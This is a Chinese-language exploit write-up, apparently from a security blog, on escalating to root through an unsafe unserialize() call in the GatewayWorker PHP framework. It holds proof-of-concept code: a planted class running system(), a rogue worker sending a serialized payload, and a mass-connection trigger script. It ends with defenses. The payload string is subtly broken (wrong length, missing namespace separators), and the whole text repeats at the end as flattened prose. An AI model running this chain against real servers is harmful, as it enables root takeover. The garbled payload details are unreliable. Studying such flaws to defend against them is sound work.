利用GatewayWorker反序列化漏洞实现提权
字数 1470 2025-09-23 19:27:46

GatewayWorker反序列化漏洞提权技术分析

漏洞概述

GatewayWorker框架存在反序列化漏洞,攻击者可以利用该漏洞在特定条件下实现权限提升。该漏洞主要存在于GatewayWorker v3.1.0版本中,在v3.1.2版本后由于负载均衡策略变更,利用难度有所增加但仍存在风险。

漏洞背景

GatewayWorker是基于Workerman开发的一个项目框架,用于快速开发TCP长连接应用,如即时通讯、推送服务等。它采用经典的Gateway和Worker进程模型:

  • Gateway进程:负责维持客户端连接并转发数据
  • BusinessWorker进程:处理实际业务逻辑(默认调用Events.php)

漏洞发现过程

  1. 发现目标服务器运行着root权限的PHP进程(GatewayWorker)
  2. 进程运行的PHP文件具有www用户可修改权限
  3. 常规提权方法无效后,转向代码审计

漏洞原理

GatewayWorker框架中存在不安全的反序列化操作点:

  1. vendor/workerman/gateway-worker/src/Gateway.php中的onWorkerMessage函数处理worker发往gateway的指令
  2. 其中"session合并"指令会调用sessionDecode函数
  3. vendor/workerman/gateway-worker/src/Lib/Context.php中的sessionDecode直接使用unserialize()函数

利用条件

  1. 能够以低权限用户身份修改vendor目录下的文件
  2. GatewayWorker以root权限运行
  3. 能够注册自定义worker或触发已有worker发送恶意指令

详细利用步骤

1. 环境准备

以root权限运行GatewayWorker demo:

php start.php start

2. 准备恶意类文件

创建Foo.php并放置在vendor/workerman/gateway-worker/src/目录下:

<?php
class Foo {
    public function __construct() {
        // 执行系统命令,例如创建文件
        system('echo "exploited" > /tmp/exploit.txt');
    }
}

3. 创建恶意worker (poc.php)

<?php
require_once __DIR__ . '/vendor/autoload.php';

use GatewayWorker\BusinessWorker;
use GatewayWorker\Lib\Gateway;

$worker = new BusinessWorker();
$worker->name = 'ExploitWorker';
$worker->count = 1;

$worker->onWorkerStart = function() {
    // 构造恶意序列化数据
    $payload = 'O:20:"FooGatewayWorkerFoo":0:{}';
    
    // 发送给gateway触发反序列化
    Gateway::sendToCurrentClient($payload);
};

BusinessWorker::runAll();

4. 注册恶意worker

php poc.php start

5. 触发漏洞

根据Gateway协议类型选择触发方式:

  • 对于TCP协议:
nc 127.0.0.1 8282 -v
  • 对于WebSocket协议:使用WebSocket客户端连接

6. 批量触发(针对v3.1.2+版本)

由于v3.1.2+版本默认使用轮询负载均衡,需要编写批量请求脚本:

<?php
require_once __DIR__ . '/vendor/autoload.php';

use Workerman\Worker;
use Workerman\Connection\AsyncTcpConnection;

$worker = new Worker();
$worker->count = 4;

$worker->onWorkerStart = function() {
    for ($i = 0; $i < 100; $i++) {
        $conn = new AsyncTcpConnection('tcp://127.0.0.1:8282');
        $conn->connect();
    }
};

Worker::runAll();

技术要点

  1. 反序列化触发点:通过worker向gateway发送特定指令触发sessionDecode中的unserialize()
  2. 类自动加载机制:当反序列化遇到未加载的类时,会触发autoload机制
  3. 文件包含利用:通过控制vendor目录下的类文件实现代码执行
  4. 权限提升:由于GatewayWorker以root运行,恶意代码也以root权限执行

防御措施

  1. 升级到最新版本GatewayWorker
  2. 限制vendor目录的写入权限
  3. 实现自定义的session序列化/反序列化方法
  4. 使用安全的反序列化函数或添加签名验证
  5. 对worker注册进行身份验证

总结

该漏洞利用链如下:

  1. 低权限注册恶意worker
  2. 客户端请求触发恶意worker
  3. 恶意worker发送序列化payload
  4. Gateway反序列化时触发autoload
  5. 加载恶意类文件实现代码执行
  6. 以root权限完成提权

参考链接

  • GatewayWorker官方文档:https://www.workerman.net/doc/gateway-worker/
GatewayWorker反序列化漏洞提权技术分析 漏洞概述 GatewayWorker框架存在反序列化漏洞,攻击者可以利用该漏洞在特定条件下实现权限提升。该漏洞主要存在于GatewayWorker v3.1.0版本中,在v3.1.2版本后由于负载均衡策略变更,利用难度有所增加但仍存在风险。 漏洞背景 GatewayWorker是基于Workerman开发的一个项目框架,用于快速开发TCP长连接应用,如即时通讯、推送服务等。它采用经典的Gateway和Worker进程模型: Gateway进程:负责维持客户端连接并转发数据 BusinessWorker进程:处理实际业务逻辑(默认调用Events.php) 漏洞发现过程 发现目标服务器运行着root权限的PHP进程(GatewayWorker) 进程运行的PHP文件具有www用户可修改权限 常规提权方法无效后,转向代码审计 漏洞原理 GatewayWorker框架中存在不安全的反序列化操作点: vendor/workerman/gateway-worker/src/Gateway.php 中的 onWorkerMessage 函数处理worker发往gateway的指令 其中"session合并"指令会调用 sessionDecode 函数 vendor/workerman/gateway-worker/src/Lib/Context.php 中的 sessionDecode 直接使用 unserialize() 函数 利用条件 能够以低权限用户身份修改vendor目录下的文件 GatewayWorker以root权限运行 能够注册自定义worker或触发已有worker发送恶意指令 详细利用步骤 1. 环境准备 以root权限运行GatewayWorker demo: 2. 准备恶意类文件 创建 Foo.php 并放置在 vendor/workerman/gateway-worker/src/ 目录下: 3. 创建恶意worker (poc.php) 4. 注册恶意worker 5. 触发漏洞 根据Gateway协议类型选择触发方式: 对于TCP协议: 对于WebSocket协议:使用WebSocket客户端连接 6. 批量触发(针对v3.1.2+版本) 由于v3.1.2+版本默认使用轮询负载均衡,需要编写批量请求脚本: 技术要点 反序列化触发点 :通过worker向gateway发送特定指令触发 sessionDecode 中的 unserialize() 类自动加载机制 :当反序列化遇到未加载的类时,会触发autoload机制 文件包含利用 :通过控制vendor目录下的类文件实现代码执行 权限提升 :由于GatewayWorker以root运行,恶意代码也以root权限执行 防御措施 升级到最新版本GatewayWorker 限制vendor目录的写入权限 实现自定义的session序列化/反序列化方法 使用安全的反序列化函数或添加签名验证 对worker注册进行身份验证 总结 该漏洞利用链如下: 低权限注册恶意worker 客户端请求触发恶意worker 恶意worker发送序列化payload Gateway反序列化时触发autoload 加载恶意类文件实现代码执行 以root权限完成提权 参考链接 GatewayWorker官方文档:https://www.workerman.net/doc/gateway-worker/